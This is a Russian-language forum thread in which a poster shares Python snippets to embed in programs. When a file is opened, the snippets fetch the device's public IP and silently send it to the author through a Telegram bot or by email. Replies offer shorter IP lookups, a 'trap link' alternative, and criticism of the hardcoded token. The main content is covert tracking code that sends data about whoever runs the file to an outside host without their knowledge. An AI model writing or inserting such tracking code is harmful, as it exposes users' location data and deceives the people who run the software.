 |
|

08.05.2021, 22:23
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Возможно кому-то полезная штука, которую можно будет вставить в ваш код.
Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.
В случае с телеграмом будем использовать 3 библиотеки.
bs4
telebot
requests
ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.
telegram-v:
Код:
import
requests
import
telebot
from
bs4
import
BeautifulSoup
TOKEN
=
'Токен вашего бота'
bot
=
telebot
.
TeleBot
(
TOKEN
)
def
getip
(
)
:
url
=
'https://2ip.ru/'
#делаем запрос
response
=
requests
.
get
(
url
)
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#ищем класс ip
ipget
=
soup
.
find
(
class_
=
'ip'
)
#в этом классе ищем содержимое тэга span
ip
=
ipget
.
find
(
'span'
)
.
text
realip
=
ip
return
realip
#возвращаем полученный ip
realip
=
getip
(
)
bot
.
send_message
(
ВАШ USER ID ТЕЛЕГРАМА
(
узнать
-
@getmyid_bot
)
,
f'Зафиксировано новое открытие.\nIP -{realip}\n(данные с 2ip.ru)'
)
В случае с почтой:
Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.
mail-v:
Код:
import
requests
import
smtplib
from
bs4
import
BeautifulSoup
from
email
.
mime
.
multipart
import
MIMEMultipart
from
email
.
mime
.
text
import
MIMEText
def
getip
(
)
:
url
=
'https://2ip.ru/'
#make a request
response
=
requests
.
get
(
url
)
#make a soup
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#find class 'ip'
ipget
=
soup
.
find
(
class_
=
'ip'
)
ip
=
ipget
.
find
(
'span'
)
.
text
realip
=
ip
return
realip
#result getip from 2ip
realip
=
getip
(
)
addr_from
=
"***@mail.ru"
#почта, с которой будет слаться IP(обязательно mail. Можно и другую, но код будет немного другой.)
addr_to
=
"***@***.***"
#куда будет приходить
password
=
"***"
#пароль от почты, с которой будет слаться IP
#made message
msg
=
MIMEMultipart
(
)
msg
[
'From'
]
=
addr_from
msg
[
'To'
]
=
addr_to
msg
[
'Subject'
]
=
'New IP'
#вместо New IP можете указать что угодно, это тема сообщения.
#body of message
body
=
realip
msg
.
attach
(
MIMEText
(
body
,
'plain'
)
)
server
=
smtplib
.
SMTP
(
'smtp.mail.ru'
,
587
)
server
.
starttls
(
)
server
.
login
(
addr_from
,
password
)
server
.
send_message
(
msg
)
Вы можете выставить это в ваш код на питоне. Можно так же спарсить данные с сервиса WHOIS, получить от туда город и страну, но это вы уже сами)
Если вылезают ошибки - пишите, помогу.
|
|
|

08.05.2021, 22:25
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Винда блокирует, не знаю почему.
yNJ_dUNzl5c.jpgivankaspersky · 8 Май 2021 в 21:25' data-fancybox="lb-post-738171" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/96360/" style="cursor: pointer;" title="yNJ_dUNzl5c.jpg">

|
|
|

08.05.2021, 22:30
|
|
Постоянный
Регистрация: 07.03.2019
Сообщений: 966
С нами:
3782655
Репутация:
148
|
|
Быстрее будет
Python:
Код:
import
requests
requests
.
get
(
'https://ramziv.com/ip'
)
.
text
Python:
Код:
import
requests
import
json
ip
=
requests
.
get
(
'https://api.myip.com/'
)
.
text
r
=
json
.
loads
(
ip
)
print
(
r
[
'ip'
]
)
|
|
|

08.05.2021, 22:37
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Сообщение от MaksQ
Python:
Код:
import
requests
requests
.
get
(
'https://ramziv.com/ip'
)
.
text
Этот сайт впервые вижу.
|
|
|

08.05.2021, 22:40
|
|
Флудер
Регистрация: 28.06.2019
Сообщений: 3,442
С нами:
3619995
Репутация:
168
|
|
И опять ж таки - токен прямо в скрипте. Гениально.
|
|
|

08.05.2021, 22:55
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Сообщение от Remote user 335463
И опять ж таки - токен прямо в скрипте. Гениально.
Кому нужно - перекинет в конфиг
|
|
|

08.05.2021, 22:56
|
|
Флудер
Регистрация: 28.06.2019
Сообщений: 3,442
С нами:
3619995
Репутация:
168
|
|
Сообщение от IvanKaspersky
Кому нужно - перекинет в конфиг
А что, поможет? Я веду к тому что ты светишь токеном в открытую
|
|
|

08.05.2021, 22:57
|
|
Участник форума
Регистрация: 09.06.2019
Сообщений: 222
С нами:
3648378
Репутация:
83
|
|
разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?
|
|
|

08.05.2021, 23:01
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Сообщение от lovandog
разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?
Я как-то раз пытался сделать такую штуку года 2 назад, она не работала и я забил хер. Мой вариант подходит для компилируемых программ.
|
|
|

08.05.2021, 23:03
|
|
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами:
3043895
Репутация:
3
|
|
Сообщение от Remote user 335463
А что, поможет? Я веду к тому что ты светишь токеном в открытую
Поскольку я новичок, я хз как его можно не светить)
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|